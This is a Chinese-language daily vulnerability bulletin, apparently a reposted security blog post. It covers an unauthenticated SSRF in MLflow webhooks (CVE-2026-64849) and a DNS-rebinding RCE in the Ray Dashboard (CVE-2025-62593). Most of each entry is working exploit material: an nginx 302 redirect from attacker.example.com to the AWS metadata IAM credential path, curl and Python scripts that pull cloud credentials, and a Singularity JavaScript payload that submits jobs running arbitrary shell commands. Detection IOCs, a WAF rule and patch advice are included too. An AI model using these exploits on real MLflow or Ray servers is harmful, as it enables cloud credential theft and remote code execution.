文章总结: MLflow3.15.0以下版本存在未认证全读SSRF漏洞(CVE-2026-64849),CVSS9.3。攻击者通过302重定向绕过URL校验,可读取云元数据或内网服务。已确认在野利用,CISA已加入KEV目录。建议立即升级至3.15.0或更高版本。 综合评分: 89 文章分类: 漏洞分析,渗透测试,应急响应
每日漏洞推送 MLflow Webhook投递未认证全读SSRF
原创
nullchen nullchen
富贵学安全
2026年8月20日 10:35 陕西
在小说阅读器读本章
去阅读
📡 每日漏洞情报推送 | 2026-08-20
🔴 漏洞一:CVE-2026-64849 — MLflow Webhook投递未认证全读SSRF(302重定向绕过校验)
📋 漏洞档案
| 项目 | 内容 |
| — | — |
| CVE编号 | CVE-2026-64849 |
| 影响产品 | MLflow < 3.15.0(含 3.10.0~3.13.0 默认 SQLite 服务器;pip 包 mlflow) |
| 漏洞类型 | 服务端请求伪造 SSRF (CWE-918) → 云元数据/内网凭据窃取 |
| CVSS | 9.3 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N |
| 触发位置 | 未认证 POST /api/2.0/mlflow/webhooks/{id}/test + mlflow/webhooks/delivery.py 重定向跟随 |
| 发现者 | @freeman-bb(私有报告 2026-06-12)/ @AUTHENSOR(独立发现,issue #24179) |
| 公开时间 | 2026-08-17(GitHub Advisory GHSA-7gwp-5pfp-969j) / 2026-08-19(NVD / CISA KEV 收录) |
| 在野利用 | ✅ 已确认在野利用 — CISA KEV 收录(SSVC: exploitation=active, automatable=yes, technicalImpact=total) |
🔥 紧急程度
CISA 已于 2026-08-19 将该漏洞加入 KEV 目录,联邦机构须在 2026-09-02 前完成修复。 这是 MLflow 默认开箱配置(mlflow server + SQLite、无认证)即可触发的未认证全读 SSRF:攻击者无需任何凭据即可让 MLflow 服务器代为请求任意内网地址并读取响应内容——包括 AWS 169.254.169.254 云元数据服务(可窃取 IAM 临时凭据)、内网管理服务、以及通过 307/308 重定向向内网 POST 端点盲写数据。MLflow 是 AI/ML 平台中最流行的开源组件之一,大量企业自托管 Tracking Server 暴露在公网,风险极高。
📝 漏洞描述
默认 MLflow Tracking Server(mlflow server,无认证,默认 SQLite 后端)暴露未认证的模型注册 Webhook API,其中包含同步端点 POST /api/2.0/mlflow/webhooks/{id}/test,会将上游响应状态码和响应体直接回显给调用者。
PR #20747(3.10.0 引入)添加的 SSRF 防护 _validate_webhook_url()(mlflow/utils/validation.py)存在关键缺陷:
# mlflow/utils/validation.py — _validate_webhook_url
schemes=_MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # 默认 ["https"]
ifparsed_url.schemenotinschemes: raise...
ifnot_MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # 默认 False
foraddr_infoinsocket.getaddrinfo(hostname, None):
ip=ipaddress.ip_address(addr_info[4][0])
ifnotip.is_global: raise... # 拦截 RFC1918/环回/链路本地/元数据
# mlflow/webhooks/delivery.py — _send_webhook_request
def_send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # 只校验"原始"URL
returnsession.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# 没有 allow_redirects=False → 302 被跟随;重定向目标从不重新校验
三个事实叠加构成漏洞:
- Webhook 端点默认未认证 — Webhook 授权只存在于可选认证插件中,默认不加载;
- 校验但不固定(validate but pin nothing) — 解析出的 IP 从未绑定到连接;DNS 解析与 requests 实际连接各自独立进行(TOCTOU);
- 投递跟随重定向且不重新校验 —
session.post()默认跟随 302,重定向Location指向内网/元数据地址时不再校验。
绕过向量:
- 302 重定向(可靠):攻击者托管一个通过校验的公网 HTTPS 端点,返回
302 Location: http://169.254.169.254/...(或http://127.0.0.1:...),MLflow 跟随且不重新校验; - DNS rebinding(TOCTOU):校验时 getaddrinfo 与连接时解析独立,可利用 DNS 重绑定。
由于 /test 端点回显响应体(WebhookTestResult.response_body),这是默认服务器上的未认证全读 SSRF。经确认 3.13.0 及 master 均受影响(PR #20747 防护的不完整修复)。
重定向变体:
- 302(读):GET 重定向目标,回显任意内网 HTTP 响应(云元数据、内网服务);
- 307/308(盲写):保留 POST 方法与请求体,可向内网 POST 端点(Docker daemon
/stop、Elasticsearch/_close、Spring Boot Actuator/shutdown)发送攻击者控制的 payload。
💻 PoC/EXP
1️⃣ 攻击者重定向服务器(Nginx,需公网IP + 有效TLS证书)
# /etc/nginx/sites-available/ssrf_redirect
# 攻击者控制的公网 HTTPS 主机,通过校验后将请求 302 重定向到云元数据
server {
listen443 ssl;
server_name attacker.example.com;
ssl_certificate /etc/letsencrypt/live/attacker.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/attacker.example.com/privkey.pem;
# 读取 AWS IAM 临时凭据(IMDSv1)
location /innocent {
return302 http://169.254.169.254/latest/meta-data/iam/security-credentials/;
}
# 或读取任意内网服务
# location /innocent { return 302 http://127.0.0.1:6379/; } # Redis INFO
}
2️⃣ 核心利用链(curl 手工验证)
#!/bin/bash
# CVE-2026-64849 MLflow 未认证全读 SSRF PoC
# 来源: GitHub Advisory GHSA-7gwp-5pfp-969j(官方披露的原始PoC流程)
# 用法: ./poc.sh https://target-mlflow-server https://attacker.example.com
# 注意: 仅用于授权安全测试
TARGET="${1:-http://localhost:5000}"
ATTACKER="${2:-https://attacker.example.com}"
echo"[*] 目标: $TARGET 攻击者重定向主机: $ATTACKER"
echo""
echo"=== [Step 0] 负向对照:验证防护确实存在(直接内网URL应被拒) ==="
curl-sk-X POST "$TARGET/api/2.0/mlflow/webhooks" \
-H"Content-Type: application/json" \
-d'{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}'
# → 预期 400: {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
echo""
echo"=== [Step 1] 创建指向攻击者公网HTTPS主机的Webhook(通过校验) ==="
RESP=$(curl -sk -X POST "$TARGET/api/2.0/mlflow/webhooks" \
-H "Content-Type: application/json" \
-d "{\"name\":\"poc\",\"url\":\"${ATTACKER}/innocent\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}")
echo"$RESP"
WEBHOOK_ID=$(echo "$RESP" | grep -o '"webhook_id":"[^"]*"' | cut -d'"' -f4)
if [ -z"$WEBHOOK_ID" ]; then
echo"[-] Webhook 创建失败(检查目标是否使用 SQL 存储后端)"
exit1
fi
echo"[+] Webhook ID: $WEBHOOK_ID"
echo""
echo"=== [Step 2] 触发 /test —— 服务器代为请求内网,响应体回显 ==="
curl-sk-X POST "$TARGET/api/2.0/mlflow/webhooks/${WEBHOOK_ID}/test" \
-H"Content-Type: application/json" \
-d"{\"webhook_id\":\"${WEBHOOK_ID}\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}"
echo""
echo"[!] 若 response_body 中出现 AccessKeyId/SecretAccessKey/Token → 云IAM凭据泄露确认"
echo"[!] 响应体即 169.254.169.254 元数据服务返回的 IAM 临时凭据"
3️⃣ Python 自动化利用框架
#!/usr/bin/env python3
"""
CVE-2026-64849 — MLflow 未认证全读 SSRF 检测/利用框架
来源: GitHub Advisory GHSA-7gwp-5pfp-969j(官方PoC重构)
注意: 仅用于授权安全测试
"""
importrequests
importjson
importsys
importurllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
UA="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/128.0 Safari/537.36"
classMLflowSSRF:
def__init__(self, target, attacker_redirect):
self.target=target.rstrip("/")
self.attacker=attacker_redirect # 攻击者公网HTTPS重定向主机
self.s=requests.Session()
self.s.headers.update({"User-Agent": UA})
self.s.verify=False
self.webhook_id=None
defcheck_guard(self):
"""负向对照:直接内网 URL 应被 _validate_webhook_url 拒绝"""
r=self.s.post(f"{self.target}/api/2.0/mlflow/webhooks", json={
"name": "neg",
"url": "http://127.0.0.1:6379/",
"events": [{"entity": "REGISTERED_MODEL", "action": "CREATED"}],
}, timeout=15)
print(f"[*] 负向对照 → HTTP {r.status_code}: {r.text[:100]}")
returnr.status_code==400 # 防护存在
defcreate_webhook(self):
"""创建指向攻击者主机的 Webhook"""
r=self.s.post(f"{self.target}/api/2.0/mlflow/webhooks", json={
"name": "poc",
"url": f"{self.attacker}/innocent", # 公网HTTPS,通过校验
"events": [{"entity": "REGISTERED_MODEL", "action": "CREATED"}],
}, timeout=15)
ifr.status_code==200:
self.webhook_id=r.json()["webhook"]["webhook_id"]
print(f"[+] Webhook 创建成功: {self.webhook_id}")
returnTrue
print(f"[-] Webhook 创建失败: HTTP {r.status_code}{r.text[:200]}")
returnFalse
deftrigger_test(self):
"""触发 /test,服务器跟随302访问内网并回显响应体"""
r=self.s.post(
f"{self.target}/api/2.0/mlflow/webhooks/{self.webhook_id}/test",
json={
"webhook_id": self.webhook_id,
"event": {"entity": "REGISTERED_MODEL", "action": "CREATED"},
}, timeout=30)
print(f"[*] /test → HTTP {r.status_code}")
try:
result=r.json()["result"]
print(f"[+] response_status: {result.get('response_status')}")
body=result.get("response_body", "")
print(f"[+] response_body 前500字符:\n{body[:500]}")
ifany(kinbodyforkin ("AccessKeyId", "SecretAccessKey",
"Token", "secret", "password")):
print("[!] ⚠️ 疑似敏感信息/云凭据泄露!")
exceptExceptionase:
print(f"[-] 解析失败: {e} | 原始响应: {r.text[:200]}")
defrun(self):
print(f"[*] 目标: {self.target}")
ifnotself.check_guard():
print("[!] 负向对照未返回400——目标可能已修复或后端不支持")
ifself.create_webhook():
self.trigger_test()
print("\n[+] 进一步利用提示:")
print(" - 重定向到 http://169.254.169.254/ → 窃取云IAM凭据")
print(" - 重定向到内网服务 → 端口扫描/读取敏感接口")
print(" - 307/308 重定向 → 向内网POST端点盲写(如Docker /stop)")
if__name__=="__main__":
iflen(sys.argv) <3:
print(f"用法: {sys.argv[0]} <target> <attacker_redirect_host>")
sys.exit(1)
MLflowSSRF(sys.argv[1], sys.argv[2]).run()
4️⃣ 利用链图示
攻击者(未认证) ──POST /api/2.0/mlflow/webhooks──► MLflow Server
│ url = https://attacker.example.com/innocent ← 公网HTTPS, 通过 _validate_webhook_url
▼
POST /api/2.0/mlflow/webhooks/<ID>/test
▼
MLflow 服务器请求 https://attacker.example.com/innocent
▼ (302)
MLflow 跟随重定向 → http://169.254.169.254/latest/meta-data/...
│ 重定向目标从不重新校验 (CWE-918)
▼
/test 响应回显 response_body = IAM临时凭据/内网敏感数据
├── 云元数据凭据窃取 (C:H)
├── 内网服务扫描/读取
└── 307/308 盲写内网管理端点 (I:L)
🛡️ 检测与防御
日志检测IOC
- access.log 中出现 /api/2.0/mlflow/webhooks 未认证创建请求(无 session cookie)
- /api/2.0/mlflow/webhooks/{id}/test 高频调用
- 服务器出站流量中出现 169.254.169.254、127.0.0.1、10./172.16./192.168. 目标
- 新增 webhook URL 指向与业务无关的外部域名
WAF拦截规则(ModSecurity)
# 拦截未认证 webhook 创建与 test 调用
SecRule REQUEST_URI "@contains /api/2.0/mlflow/webhooks" \
"id:1000021,phase:1,deny,status:403,\
msg:'MLflow webhook API access (CVE-2026-64849)'"
修复建议
| 方式 | 说明 |
| — | — |
| 立即升级 | MLflow ≥ 3.15.0(PR #24258,commit ba94952247,新增 SSRFProtectedHTTPAdapter:每次 connect() 后校验对端 IP,覆盖重定向目标与 DNS rebinding TOCTOU) |
| 网络层缓解 | 在防火墙/安全组阻断服务器到 169.254.169.254 及内网网段的出站流量;MLflow 服务器与云元数据隔离 |
| 启用认证 | 部署 MLflow 认证插件(auth plugin),Webhook 端点不再匿名可达 |
| 禁用Webhook | 不需要模型注册 Webhook 时在配置中关闭该功能 |
| 出站代理 | 经企业代理出站并对目标地址做白名单/校验 |
| 日志排查 | 检查历史日志中是否有可疑 webhook 创建与 /test 调用记录 |
🔗 参考来源
- NVD CVE-2026-64849
- GitHub Advisory GHSA-7gwp-5pfp-969j(完整PoC)
- GitHub Issue #24179(独立发现)
- 修复 PR #24258
- CISA KEV
🔴 漏洞二:CVE-2025-62593 — Ray 浏览器DNS重绑定RCE(User-Agent防护绕过)
📋 漏洞档案
| 项目 | 内容 |
| — | — |
| CVE编号 | CVE-2025-62593 |
| 影响产品 | Ray < 2.52.0(python ray 包;Dashboard 默认 8265 端口) |
| 漏洞类型 | 代码注入 (CWE-94) + CSRF (CWE-352) → 浏览器驱动的远程代码执行 |
| CVSS | 9.4 (CRITICAL) — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H (CVSS 3.1: 8.8 HIGH) |
| 触发位置 | Ray Dashboard /api/jobs/、/api/job_agent/jobs/(无认证)+ optional_utils.py 的 User-Agent 防护 |
| 发现者 | @JLLeitschuh (Socket);fetch UA 绕过理论 @avilum (Oligo) |
| 公开时间 | 2025-11-26(GitHub Advisory GHSA-q279-jhrf-cc6v) / 2026-08-17(CISA KEV 收录) |
| 在野利用 | ✅ 已确认在野利用 — CISA KEV 收录(SSVC: exploitation=active),⏳ 截止日期 2026-08-20(今天!) |
🔥 紧急程度
CISA KEV 收录并要求今天(2026-08-20)前完成修复! Ray 是 AI 计算领域最主流的开源引擎之一,几乎所有 AI/ML 开发者的开发机上都在运行 ray start --head(Dashboard 默认监听 8265 端口且无任何认证)。攻击者构造恶意网站/恶意广告,开发者用 Firefox 或 Safari 访问后,通过 DNS rebinding 将浏览器请求重绑定到 localhost:8265,即可在开发者机器上执行任意 shell 命令——钓鱼、恶意广告(malvertising)即可触发,无需任何用户交互确认。该漏洞还可将浏览器作为 confused deputy 攻击内网其他 Ray 实例。
📝 漏洞描述
Ray 开发团队长期不在关键端点(/api/jobs、/api/job_agent/jobs/)实施认证,仅靠一个基于 User-Agent 的启发式防护来阻止浏览器直接调用:
# python/ray/dashboard/optional_utils.py
defis_browser_request(req: Request) ->bool:
"""...This heuristic is very weak, but hard for a browser to bypass-
eg, fetch/xhr and friends cannot alter the user-agent..."""
returnreq.headers["User-Agent"].startswith("Mozilla")
# python/ray/dashboard/http_server_head.py
@aiohttp.web.middleware
asyncdefbrowsers_no_post_put_middleware(self, request, handler):
if (dashboard_optional_utils.is_browser_request(request)
andrequest.methodin [hdrs.METH_POST, hdrs.METH_PUT]):
returnaiohttp.web.Response(status=405, text="Method Not Allowed for browser traffic.")
returnawaithandler(request)
核心缺陷:防护的假设(”浏览器无法修改 User-Agent”)是错误的。Firefox 和 Safari 的 fetch API 允许设置 User-Agent 头(Chrome 因一个 bug 反而不符合规范、无法修改,因此不受影响)。配合 DNS rebinding 攻击(nccgroup/singularity 等成熟工具):
- 恶意网站域名先解析到攻击者服务器(响应恶意页面);
- 攻击者服务器对页面中的 JS 下发新 DNS 解析,域名重新绑定到
127.0.0.1; - 浏览器同源策略认为仍是”同一站点”,允许 JS 向
http://127.0.0.1:8265发起请求; - JS 通过 fetch 设置
User-Agent: Other(非 Mozilla 开头)绕过防护; - 向
/api/jobs/POST 提交 job,entrypoint字段即要执行的任意 shell 命令 → RCE。
利用条件:受害者(Ray 开发者)使用 Firefox/Safari 访问恶意网页或点击恶意广告;Ray Dashboard 运行在默认配置(无认证)。
💻 PoC/EXP
1️⃣ 官方PoC载荷(nccgroup/singularity 集成,来自 GHSA-q279-jhrf-cc6v)
/**
* CVE-2025-62593 Ray RCE Payload — nccgroup/singularity 集成
* 来源: GitHub Advisory GHSA-q279-jhrf-cc6v / nccgroup/singularity PR #68
* 注意: 仅用于授权安全测试
*/
constRayRce= () => {
// DNS rebinding 成功后调用(此时页面域名已解析到 127.0.0.1:8265)
functionattack(headers, cookie, body) {
consttimestamp=Date.now();
// 跨平台命令:可替换为任意恶意命令(反弹shell等)
constcalculatorCommand=`
if command -v calc.exe >/dev/null 2>&1; then
echo Windows calculator launching
calc.exe &
elif command -v open >/dev/null 2>&1; then
echo macOS calculator launching
open -a Calculator &
elif [ -f "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ]; then
/System/Applications/Calculator.app/Contents/MacOS/Calculator &
elif command -v gnome-calculator >/dev/null 2>&1; then
gnome-calculator &
elif command -v kcalc >/dev/null 2>&1; then
kcalc &
elif command -v xcalc >/dev/null 2>&1; then
xcalc &
else
find /usr/bin /usr/local/bin /opt -name "*calc*" -type f -executable 2>/dev/null | head -1 | xargs -I {} {} &
fi
echo RAY RCE: By JLLeitschuh ${timestamp}
`;
constdata= {
"entrypoint": calculatorCommand, // ← 任意shell命令执行点
"runtime_env": {},
"job_id": null,
"metadata": {
"job_submission_id": timestamp.toString(),
"source": "nccgroup/singularity"
}
};
// 关键:设置 User-Agent: Other → 绕过 is_browser_request 的 "Mozilla" 前缀检查
sooFetch('/api/jobs/', {
method: 'POST',
headers: {
'User-Agent': 'Other', // ← Firefox/Safari 允许修改 UA
},
body: JSON.stringify(data),
})
.then(response=>response.json())
.then(data=>console.log('Success:', data))
.catch(error=>console.error('Error:', error));
}
// 检测重绑定后的服务是否为 Ray Dashboard
asyncfunctionisService(headers, cookie, body) {
returnsooFetch("/", { mode: 'no-cors', credentials: 'omit' })
.then(response=>response.text())
.then(d=>d.includes("You need to enable JavaScript"))
.catch(e=>false);
}
return { attack, isService };
};
Registry["Ray Jobs RCE"] =RayRce();
2️⃣ 手工复现步骤(Singularity 攻击流程)
# CVE-2025-62593 利用流程(基于官方PoC)
# 注意: 仅用于授权安全测试
# [受害者侧] 启动 Ray(默认无认证)
ray start--head--port=6379
# → Dashboard 监听 8265 端口
# [攻击者侧] 部署 DNS rebinding 工具
git clone https://github.com/nccgroup/singularity
cd singularity
# 按官方wiki完成部署(需公网域名 + 可控DNS)
# [受害者] 使用 Firefox 或 Safari 访问:
# http://[my.singularity.instance]:8265/manager.html
#
# [攻击者] 在 Singularity 界面:
# 1. "Attack Payload" 选择: Ray Jobs RCE (default port 8265)
# 2. 点击 "Start Attack"
# 3. DNS rebinding 成功后,iFrame 中的 JS 向
# http://127.0.0.1:8265/api/jobs/ 发送 POST
# (User-Agent: Other 绕过防护)
# 4. 恶意 job entrypoint 被执行 → 任意命令执行
3️⃣ 最小化 Python 验证脚本(检测未认证 Dashboard + 防护绕过)
#!/usr/bin/env python3
"""
CVE-2025-62593 — Ray Dashboard 未认证 RCE 条件验证
注意: 仅用于授权安全测试(仅检测,不提交恶意job)
"""
importrequests
importjson
importsys
importurllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
defcheck(target="http://127.0.0.1:8265"):
target=target.rstrip("/")
s=requests.Session()
# 1. 验证 Dashboard 未认证可达
try:
r=s.get(target+"/", timeout=5)
print(f"[*] Dashboard 根路径 → HTTP {r.status_code}")
if"JavaScript"notinr.text:
print("[-] 未识别为 Ray Dashboard")
return
exceptExceptionase:
print(f"[-] 连接失败: {e}")
return
# 2. 验证浏览器UA防护(模拟浏览器UA的POST应被405拦截)
r=s.post(target+"/api/jobs/",
headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) Firefox/128.0"},
json={"entrypoint": "echo test", "runtime_env": {}}, timeout=5)
print(f"[*] 浏览器UA POST /api/jobs/ → HTTP {r.status_code} (405=防护生效)")
# 3. 验证非浏览器UA可绕过防护(CVE-2025-62593 核心)
r=s.post(target+"/api/jobs/",
headers={"User-Agent": "Other"}, # ← Firefox/Safari fetch 可伪造
json={"entrypoint": "echo harmless-probe", "runtime_env": {}},
timeout=5)
print(f"[*] 伪造UA POST /api/jobs/ → HTTP {r.status_code}")
ifr.status_code==200:
print("[!] ⚠️ 目标 Ray 未认证且 UA 防护可绕过 → 存在 CVE-2025-62593 利用条件")
print(" (浏览器 DNS rebinding 后即可远程执行任意命令)")
else:
print("[+] 目标可能已修复(≥2.52.0)或防护不同")
if__name__=="__main__":
check(sys.argv[1] iflen(sys.argv) >1else"http://127.0.0.1:8265")
4️⃣ 利用链图示
恶意网站/广告(攻击者) ──访问──► 开发者浏览器 (Firefox/Safari)
│ DNS rebinding: 域名先解析攻击者服务器, 后重绑定 127.0.0.1
▼
浏览器同源放行 → fetch("http://127.0.0.1:8265/api/jobs/")
│ User-Agent: Other ← Firefox/Safari 允许修改, 绕过 "Mozilla" 前缀防护
▼
Ray Dashboard (无认证) 创建 job, entrypoint=恶意shell命令
▼
开发者机器任意命令执行 (RCE)
├── 本机代码执行/数据窃取 (VC:H VI:H VA:H)
├── 内网 Ray 实例横向攻击 (confused deputy, SC:H)
└── 供应链: 开发机被控 → 投毒 CI/CD
🛡️ 检测与防御
日志检测IOC
- Ray Dashboard 访问日志出现 User-Agent 非 Mozilla 开头的 POST /api/jobs/
- /api/jobs/ 出现高频异常 job 提交(job_submission_id 为时间戳)
- 浏览器 DNS 查询异常:同一域名短时间内解析到公网IP后又解析到 127.0.0.1
- 未认证访问 Dashboard 的 /api/ 系列端点
修复建议
| 方式 | 说明 |
| — | — |
| 立即升级 | Ray ≥ 2.52.0(commit 70e7c72780;同时新增默认关闭的 token 认证特性,见 Ray Security Token Auth 文档,建议开启) |
| 开启认证 | 升级后启用 Ray 内置 token 认证(--dashboard-auth / ray.security.token-auth),防止未授权 API 调用 |
| 网络隔离 | Dashboard 绑定 127.0.0.1,不暴露到局域网/公网;开发机防火墙限制 8265 端口入站 |
| 浏览器防护 | 部署 DNS rebinding 缓解(浏览器 PNA/Local Network Access 特性、企业 DNS 过滤);Chrome 用户暂不受该漏洞影响 |
| 员工意识 | 提醒 AI/ML 开发人员避免在开发机上用 Firefox/Safari 访问不明网站;警惕恶意广告 |
| 审计排查 | 检查开发机 Ray 日志中是否有异常 job 提交记录;怀疑被控时轮换开发机凭据 |
🔗 参考来源
- NVD CVE-2025-62593
- GitHub Advisory GHSA-q279-jhrf-cc6v(完整PoC)
- nccgroup/singularity PR #68(攻击工具集成)
- 修复 commit 70e7c72780
- CISA KEV
- Ray Security Token Auth
📊 今日其他漏洞速览
| CVE编号 | 产品 | 类型 | CVSS | 严重程度 | | — | — | — | — | — | | CVE-2026-75079 | SourceCodester Class & Exam Timetabling 1.0 | SQL注入 (/edit_subject2.php) | 7.3 | 🟠 HIGH | | CVE-2026-75080 | SourceCodester Class & Exam Timetabling 1.0 | SQL注入 (/edit_subject1.php) | 7.3 | 🟠 HIGH | | CVE-2026-33824 | Microsoft IKE Service Extensions | Double Free RCE(KEV 08-18收录,截止08-21) | — | 🔴 在野利用 | | CVE-2026-59310 | VMware vCenter | 路径遍历RCE(KEV 08-18收录,截止08-21) | — | 🔴 在野利用 | | CVE-2026-55040 | Microsoft SharePoint | 弱认证绕过(KEV 08-18收录,截止08-21) | — | 🔴 在野利用 | | CVE-2026-65400 | Apple macOS | Screen Sharing 认证绕过(KEV 08-18收录,截止08-21) | — | 🔴 在野利用 | | CVE-2026-64849 | MLflow < 3.15.0 | 未认证全读SSRF(KEV 08-19收录,截止09-02) | 9.3 | 🔴 CRITICAL | | CVE-2025-62593 | Ray < 2.52.0 | 浏览器DNS重绑定RCE(KEV 08-17收录,截止08-20) | 9.4 | 🔴 CRITICAL |
🛡️ 优先行动建议
优先等级 行动 说明
────────────────────────────────────────────────────
🔴 最高 Ray 升级 ≥2.52.0 + 开认证 KEV截止日=今天(08-20)!开发机RCE,PoC已公开
🔴 最高 MLflow 升级 ≥3.15.0 未认证全读SSRF可窃取云IAM凭据,KEV在野利用
🔴 紧急 KEV新收录4项到期处置 IKE/SharePoint/vCenter/macOS 截止08-21(明天)
🟠 紧急 SourceCodester 系统排查 两款SQLi PoC已公开,公网可达即面临风险
🟡 关注 内网资产扫描 确认 Ray/MLflow 实例暴露面与版本
⚠️ 警告:提供的PoC/EXP仅限授权安全测试使用,未经授权的利用行为可能违反《刑法》第285条及相关法律法规。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:富贵学安全 nullchen nullchen《每日漏洞推送 MLflow Webhook投递未认证全读SSRF》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论